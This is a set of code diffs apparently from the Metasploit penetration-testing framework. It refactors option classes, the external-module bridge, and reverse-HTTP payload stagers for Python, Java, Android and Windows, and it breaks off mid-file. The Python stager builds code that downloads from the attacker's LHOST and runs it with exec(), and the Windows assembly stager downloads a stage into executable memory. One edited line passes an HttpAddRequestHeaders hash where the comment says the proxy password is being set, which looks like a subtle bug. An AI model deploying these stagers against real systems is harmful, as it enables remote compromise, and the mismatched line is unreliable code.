class Msf::Modules::External::Message
attr_reader :method, :id
attr_accessor :params
attr_reader :method
attr_accessor :params, :id
def self.from_module(j)
if j['method']
m = self.new(j['method'].to_sym)
m.params = j['params']
m
elsif j['response']
m = self.new(:reply)
m.params = j['response']
m.id = j['id']
m
end
end
def initialize(m)
self.method = m
@ -20,5 +34,5 @@ class Msf::Modules::External::Message
protected
attr_writer :method, :id
attr_writer :method
end

View File

@ -1,20 +1,37 @@
import sys, os, json
def log(message, level='info'):
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level,
'message': message
}}))
sys.stdout.flush()
}})
def run(metadata, exploit):
def report_host(ip, opts={}):
host = opts.copy()
host.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'host', 'data': host
}})
def report_service(ip, opts={}):
service = opts.copy()
service.update({'host': ip})
rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
'type': 'service', 'data': service
}})
def run(metadata, module_callback):
req = json.loads(os.read(0, 10000))
if req['method'] == 'describe':
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
elif req['method'] == 'run':
args = req['params']
exploit(args)
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed'
}}))
module_callback(args)
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Module completed'
}})
def rpc_send(req):
print(json.dumps(req))
sys.stdout.flush()

View File

@ -9,6 +9,13 @@ class Msf::Modules::External::Shim
case mod.meta['type']
when 'remote_exploit_cmd_stager'
remote_exploit_cmd_stager(mod)
when 'capture_server'
capture_server(mod)
when 'dos'
dos(mod)
else
# TODO have a nice load error show up in the logs
''
end
end
@ -26,10 +33,6 @@ class Msf::Modules::External::Shim
meta[:name] = mod.meta['name'].dump
meta[:description] = mod.meta['description'].dump
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
meta[:date] = mod.meta['date'].dump
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
meta[:options] = mod.meta['options'].map do |n, o|
"Opt#{o['type'].capitalize}.new(#{n.dump},
@ -39,11 +42,15 @@ class Msf::Modules::External::Shim
end
def self.mod_meta_exploit(mod, meta = {})
meta[:date] = mod.meta['date'].dump
meta[:wfsdelay] = mod.meta['wfsdelay'] || 5
meta[:privileged] = mod.meta['privileged'].inspect
meta[:platform] = mod.meta['targets'].map do |t|
t['platform'].dump
end.uniq.join(",\n ")
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
meta[:targets] = mod.meta['targets'].map do |t|
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
end.join(",\n ")
@ -56,4 +63,19 @@ class Msf::Modules::External::Shim
meta[:command_stager_flavor] = mod.meta['payload']['command_stager_flavor'].dump
render_template('remote_exploit_cmd_stager.erb', meta)
end
def self.capture_server(mod)
meta = mod_meta_common(mod)
render_template('capture_server.erb', meta)
end
def self.dos(mod)
meta = mod_meta_common(mod)
meta[:date] = mod.meta['date'].dump
meta[:references] = mod.meta['references'].map do |r|
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
end.join(",\n ")
render_template('dos.erb', meta)
end
end

View File

@ -0,0 +1,26 @@
require 'msf/core/modules/external/bridge'
require 'msf/core/module/external'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::External
def initialize
super({
<%= common_metadata meta %>
'Actions' => [ ['Capture'] ],
'PassiveActions' => ['Capture'],
'DefaultAction' => 'Capture'
})
register_options([
<%= meta[:options] %>
])
end
def run
print_status("Starting server...")
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
mod.run(datastore)
wait_status(mod)
end
end

View File

@ -0,0 +1,29 @@
require 'msf/core/modules/external/bridge'
require 'msf/core/module/external'
class MetasploitModule < Msf::Auxiliary
include Msf::Module::External
include Msf::Auxiliary::Dos
def initialize
super({
<%= common_metadata meta %>
'References' =>
[
<%= meta[:references] %>
],
'DisclosureDate' => <%= meta[:date] %>,
})
register_options([
<%= meta[:options] %>
])
end
def run
print_status("Starting server...")
mod = Msf::Modules::External::Bridge.open(<%= meta[:path] %>)
mod.run(datastore)
wait_status(mod)
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Msf
#
# Builtin framework options with shortcut methods
#
@ -51,22 +50,62 @@ module Msf
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
end
# @return [OptEnum]
def self.SSLVersion
Msf::OptEnum.new('SSLVersion', [ false,
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)', 'Auto',
['Auto', 'SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']])
def self.ssl_supported_options
@m ||= ['Auto', 'TLS'] + OpenSSL::SSL::SSLContext::METHODS \
.select{|m| !m.to_s.include?('client') && !m.to_s.include?('server')} \
.select{|m| OpenSSL::SSL::SSLContext.new(m) && true rescue false} \
.map{|m| m.to_s.sub(/v/, '').sub('_', '.')}
end
# These are unused but remain for historical reasons
class << self
alias builtin_chost CHOST
alias builtin_cport CPORT
alias builtin_lhost LHOST
alias builtin_lport LPORT
alias builtin_proxies Proxies
alias builtin_rhost RHOST
alias builtin_rport RPORT
# @return [OptEnum]
def self.SSLVersion
Msf::OptEnum.new('SSLVersion',
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
enums: self.ssl_supported_options
)
end
def self.stager_retry_options
[
OptInt.new('StagerRetryCount',
'The number of times the stager should retry if the first connect fails',
default: 10,
aliases: ['ReverseConnectRetries']
),
OptInt.new('StagerRetryWait',
'Number of seconds to wait for the stager between reconnect attempts',
default: 5
)
]
end
def self.http_proxy_options
[
OptString.new('HttpProxyHost', 'An optional proxy server IP address or hostname',
aliases: ['PayloadProxyHost']
),
OptPort.new('HttpProxyPort', 'An optional proxy server port',
aliases: ['PayloadProxyPort']
),
OptString.new('HttpProxyUser', 'An optional proxy server username',
aliases: ['PayloadProxyUser']
),
OptString.new('HttpProxyPass', 'An optional proxy server password',
aliases: ['PayloadProxyPass']
),
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
enums: ['HTTP', 'SOCKS'],
aliases: ['PayloadProxyType']
)
]
end
def self.http_header_options
[
OptString.new('HttpHostHeader', 'An optional value to use for the Host HTTP header'),
OptString.new('HttpCookie', 'An optional value to use for the Cookie HTTP header'),
OptString.new('HttpReferer', 'An optional value to use for the Referer HTTP header')
]
end
CHOST = CHOST()
@ -78,5 +117,4 @@ module Msf
RPORT = RPORT()
SSLVersion = SSLVersion()
end
end

View File

@ -22,15 +22,39 @@ module Msf
# attrs[3] = possible enum values
# attrs[4] = Regex to validate the option
#
def initialize(in_name, attrs = [], aliases: [])
# Attrs can also be specified explicitly via named parameters, or attrs can
# also be a string as standin for the required description field.
#
def initialize(in_name, attrs = [],
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
self.name = in_name
self.advanced = false
self.evasion = false
self.required = attrs[0] || false
self.desc = attrs[1]
self.default = attrs[2]
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
regex_temp = attrs[4] || nil
self.aliases = aliases
if attrs.is_a?(String) || attrs.length == 0
self.required = required
self.desc = attrs.is_a?(String) ? attrs : desc
self.enums = [ *(enums) ].map { |x| x.to_s }
if default.nil? && enums.length > 0
self.default = enums[0]
else
self.default = default
end
regex_temp = regex
else
if attrs[0].nil?
self.required = required
else
self.required = attrs[0]
end
self.desc = attrs[1] || desc
self.default = attrs[2] || default
self.enums = attrs[3] || enums
self.enums = [ *(self.enums) ].map { |x| x.to_s }
regex_temp = attrs[4] || regex
end
if regex_temp
# convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
@ -45,35 +69,34 @@ module Msf
raise("Invalid Regex #{regex_temp}: #{e}")
end
end
self.aliases = aliases
end
#
# Returns true if this is a required option.
#
def required?
return required
required
end
#
# Returns true if this is an advanced option.
#
def advanced?
return advanced
advanced
end
#
# Returns true if this is an evasion option.
#
def evasion?
return evasion
evasion
end
#
# Returns true if the supplied type is equivalent to this option's type.
#
def type?(in_type)
return (type == in_type)
type == in_type
end
#
@ -94,7 +117,7 @@ module Msf
if regex
return !!value.match(regex)
end
return true
true
end
#
@ -102,7 +125,7 @@ module Msf
# a valid value
#
def empty_required_value?(value)
return (required? and value.nil?)
required? && value.nil?
end
#
@ -169,6 +192,4 @@ module Msf
attr_writer :required, :desc, :default # :nodoc:
end
end

View File

@ -1,48 +1,33 @@
# -*- coding: binary -*-
module Msf
# Boolean option type
class OptBool < OptBase
TRUE_REGEX = /^(y|yes|t|1|true)$/i
ANY_REGEX = /^(y|yes|n|no|t|f|0|1|true|false)$/i
###
#
# Boolean option.
#
###
class OptBool < OptBase
TrueRegex = /^(y|yes|t|1|true)$/i
# This overrides default from 'nil' to 'false'
def initialize(in_name, attrs = [],
required: true, desc: nil, default: false, aliases: [])
super
end
def type
return 'bool'
end
def valid?(value, check_empty: true)
return false if empty_required_value?(value)
return false if check_empty && empty_required_value?(value)
return true if value.nil? && !required?
if ((value != nil and
(value.to_s.empty? == false) and
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
return false
end
true
!(value.nil? ||
value.to_s.empty? ||
value.to_s.match(ANY_REGEX).nil?)
end
def normalize(value)
if(value.nil? or value.to_s.match(TrueRegex).nil?)
false
else
true
!(value.nil? ||
value.to_s.match(TRUE_REGEX).nil?)
end
end
def is_true?(value)
return normalize(value)
end
def is_false?(value)
return !is_true?(value)
end
end
end

View File

@ -1,48 +1,49 @@
# -*- coding: binary -*-
module Msf
###
#
# Enum option.
#
###
class OptEnum < OptBase
###
#
# Enum option.
#
###
class OptEnum < OptBase
def type
return 'enum'
end
def valid?(value=self.value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return true if value.nil? and !required?
(value and self.enums.include?(value.to_s))
# This overrides required default from 'false' to 'true'
def initialize(in_name, attrs = [],
required: true, desc: nil, default: nil, enums: [], aliases: [])
super
end
def normalize(value=self.value)
return nil if not self.valid?(value)
return value.to_s
def valid?(value = self.value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return true if value.nil? && !required?
!value.nil? && enums.include?(value.to_s)
end
def normalize(value = self.value)
if valid?(value)
value.to_s
else
nil
end
end
def desc=(value)
self.desc_string = value
self.desc
desc
end
def desc
if self.enums
str = self.enums.join(', ')
end
"#{self.desc_string || ''} (Accepted: #{str})"
str = enums.join(', ') if enums
"#{desc_string || ''} (Accepted: #{str})"
end
protected
protected
attr_accessor :desc_string # :nodoc:
end
end
end

View File

@ -20,6 +20,14 @@ module Payload::Android::ReverseHttp
include Msf::Payload::Android::PayloadOptions
include Msf::Payload::UUID::Options
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options(Msf::Opt::http_header_options)
end
#
# Generate the transport-specific configuration
#

View File

@ -23,10 +23,13 @@ module Payload::Java::ReverseHttp
#
def initialize(*args)
super
register_advanced_options([
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
])
register_advanced_options(
[
OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
] +
Msf::Opt::http_header_options
)
end
#
@ -64,6 +67,10 @@ module Payload::Java::ReverseHttp
c = ''
c << "Spawn=#{ds["Spawn"] || 2}\n"
c << "HeaderUser-Agent=#{ds["HttpUserAgent"]}\n" if ds["HttpUserAgent"]
c << "HeaderHost=#{ds["HttpHostHeader"]}\n" if ds["HttpHostHeader"]
c << "HeaderReferer=#{ds["HttpReferer"]}\n" if ds["HttpReferer"]
c << "HeaderCookie=#{ds["HttpCookie"]}\n" if ds["HttpCookie"]
c << "URL=#{scheme}://#{ds['LHOST']}"
c << ":#{ds['LPORT']}" if ds['LPORT']
c << luri

View File

@ -22,16 +22,12 @@ module Payload::Multi::ReverseHttp
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
])
register_advanced_options(
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
Msf::Opt::stager_retry_options +
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
end
#
@ -67,4 +63,3 @@ module Payload::Multi::ReverseHttp
end
end

View File

@ -28,10 +28,20 @@ module Payload::Python::MeterpreterLoader
'Stager' => {'Payload' => ""}
))
register_advanced_options([
OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
], self.class)
register_advanced_options(
[
OptBool.new(
'MeterpreterTryToFork',
'Fork a new process if the functionality is available',
default: true
),
OptBool.new(
'PythonMeterpreterDebug',
'Enable debugging for the Python meterpreter'
),
] +
Msf::Opt::http_header_options
)
end
def stage_payload(opts={})
@ -85,18 +95,41 @@ module Payload::Python::MeterpreterLoader
end
met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
http_header_host = opts[:header_host] || ds['HttpHostHeader']
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
http_header_referer = opts[:header_referer] || ds['HttpReferer']
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
# The callback URL can be different to the one that we're receiving from the interface
# so we need to generate it
# TODO: move this to somewhere more common so that it can be used across payload types
unless opts[:url].to_s == ''
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
callback_url = [
opts[:url].to_s.split(':')[0],
'://',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
':',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
ds['LURI'].to_s,
uri,
'/'
].join('')
# patch in the various payload related configuration
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
end
# patch in any optional stageless tcp socket setup
unless opts[:stageless_tcp_socket_setup].nil?

View File

@ -11,11 +11,10 @@ module Payload::Python::ReverseHttp
def initialize(info = {})
super(info)
register_options(
[
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
], self.class)
register_advanced_options(
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
end
#
@ -26,9 +25,12 @@ module Payload::Python::ReverseHttp
opts.merge!({
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
user_agent: ds['MeterpreterUserAgent']
proxy_host: ds['HttpProxyHost'],
proxy_port: ds['HttpProxyPort'],
user_agent: ds['HttpUserAgent'],
header_host: ds['HttpHostHeader'],
header_cookie: ds['HttpCookie'],
header_referer: ds['HttpReferer']
})
opts[:scheme] = 'http' if opts[:scheme].nil?
@ -104,9 +106,18 @@ module Payload::Python::ReverseHttp
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
end
headers = []
headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
cmd << "o.addheaders=[#{headers.join(',')}]\n"
if opts[:header_host]
cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
else
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
end
py_create_exec_stub(cmd)
end

View File

@ -18,11 +18,7 @@ module Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
register_advanced_options(Msf::Opt::stager_retry_options)
end
#

View File

@ -17,11 +17,7 @@ module Payload::Python::ReverseTcpSsl
include Msf::Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
register_advanced_options(Msf::Opt::stager_retry_options)
end
#

View File

@ -60,12 +60,16 @@ module Msf::Payload::TransportConfig
lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i,
uri: uri,
ua: ds['MeterpreterUserAgent'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
proxy_type: ds['PayloadProxyType'],
proxy_user: ds['PayloadProxyUser'],
proxy_pass: ds['PayloadProxyPass']
ua: ds['HttpUserAgent'],
proxy_host: ds['HttpProxyHost'],
proxy_port: ds['HttpProxyPort'],
proxy_type: ds['HttpProxyType'],
proxy_user: ds['HttpProxyUser'],
proxy_pass: ds['HttpProxyPass'],
host: ds['HttpHostHeader'],
cookie: ds['HttpCookie'],
referer: ds['HttpReferer'],
custom_headers: get_custom_headers(ds)
}.merge(timeout_config(opts))
end
@ -80,6 +84,19 @@ module Msf::Payload::TransportConfig
private
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
def timeout_config(opts={})
ds = opts[:datastore] || datastore
{

View File

@ -43,7 +43,8 @@ class Msf::Payload::UUID
24 => ARCH_AARCH64,
25 => ARCH_MIPS64,
26 => ARCH_PPC64LE,
27 => ARCH_R
27 => ARCH_R,
28 => ARCH_PPCE500V2
}
Platforms = {
@ -253,6 +254,10 @@ class Msf::Payload::UUID
self.xor1 = opts[:xor1]
self.xor2 = opts[:xor2]
self.timestamp = nil
self.name = nil
self.registered = false
if opts[:seed]
self.puid = self.class.seed_to_puid(opts[:seed])
end
@ -366,6 +371,10 @@ class Msf::Payload::UUID
self
end
attr_accessor :registered
attr_accessor :timestamp
attr_accessor :name
attr_reader :arch
attr_reader :platform

View File

@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
register_advanced_options(
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
Msf::Opt::stager_retry_options +
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
end
#
@ -47,22 +42,23 @@ module Payload::Windows::ReverseHttp
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: ds['LHOST'],
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
if self.available_space.nil? || required_space <= self.available_space
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
conf[:ua] = ds['HttpUserAgent']
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@ -71,6 +67,22 @@ module Payload::Windows::ReverseHttp
generate_reverse_http(conf)
end
#
# Generate the custom headers string
#
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
#
# Generate and compile the stager
#
@ -138,10 +150,23 @@ module Payload::Windows::ReverseHttp
# Proxy options?
space += 200
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated ASCII byte array
#
def asm_generate_ascii_array(str)
(str.to_s + "\x00").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
@ -155,6 +180,7 @@ module Payload::Windows::ReverseHttp
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
@ -181,6 +207,8 @@ module Payload::Windows::ReverseHttp
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0
secure_flags = 0
@ -222,7 +250,7 @@ module Payload::Windows::ReverseHttp
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "wininet" )
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
@ -238,7 +266,7 @@ module Payload::Windows::ReverseHttp
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp
^
else
@ -249,7 +277,7 @@ module Payload::Windows::ReverseHttp
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
call ebp
^
end
@ -267,7 +295,7 @@ module Payload::Windows::ReverseHttp
db "#{opts[:url]}", 0x00
got_server_host:
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
call ebp
mov esi, eax ; Store hConnection in esi
^
@ -286,7 +314,7 @@ module Payload::Windows::ReverseHttp
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
@ -302,7 +330,7 @@ module Payload::Windows::ReverseHttp
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
call ebp
^
end
@ -317,7 +345,7 @@ module Payload::Windows::ReverseHttp
push edi ; server URI
push ebx ; method
push esi ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
call ebp
xchg esi, eax ; save hHttpRequest in esi
^
@ -334,7 +362,6 @@ module Payload::Windows::ReverseHttp
send_request:
^
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@ -345,7 +372,7 @@ module Payload::Windows::ReverseHttp
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call ebp
^
end
@ -354,17 +381,32 @@ module Payload::Windows::ReverseHttp
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated)
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0)
push ebx ; Headers (NULL)
^
end
asm << %Q^
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
call ebp
test eax,eax
jnz allocate_memory
set_wait:
push #{retry_wait} ; dwMilliseconds
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call ebp ; Sleep( dwMilliseconds );
^
@ -404,7 +446,7 @@ module Payload::Windows::ReverseHttp
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
@ -418,7 +460,7 @@ module Payload::Windows::ReverseHttp
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
call ebp
test eax,eax ; download failed? (optional?)

View File

@ -21,7 +21,7 @@ module Payload::Windows::ReverseWinHttp
def initialize(*args)
